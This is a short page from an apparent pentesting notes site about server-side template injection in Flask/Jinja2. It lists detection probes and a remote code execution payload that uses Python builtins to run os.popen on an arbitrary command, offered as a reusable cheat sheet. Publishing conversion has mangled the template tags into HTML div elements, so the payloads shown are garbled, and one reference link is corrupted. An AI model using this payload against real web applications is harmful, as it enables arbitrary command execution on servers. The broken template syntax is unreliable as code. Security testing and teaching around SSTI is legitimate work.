> For the complete documentation index, see [llms.txt](https://mvc1009.gitbook.io/hackingnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mvc1009.gitbook.io/hackingnotes/web/templates-injections.md).

# Templates Injections ✖️

There are different **frameworks** that uses **templates**, this guide could help to detect which is and exploit them.

![Methodology from PayloadsAllTheThings](/files/-MM6Z4rN1jniQAro_4Em)

## Flask

Flask is a framework for web applications written in Python and developed from the Werkzeug and Jinja2 tools.

### Syntax SSTI

```
{{7*7}}
{{ varname }}

<div data-gb-custom-block data-tag="if" data-1='1'></div>PRINT<div data-gb-custom-block data-tag="else">NOPRINT</div>
```

### RCE (Remote Code Execution)

```
<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen("COMMAND").read()}}</div></div>
```

To bypass some restrictions take a look at the following resources:

## References

* <https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti>
* <https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection>
* h[ttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)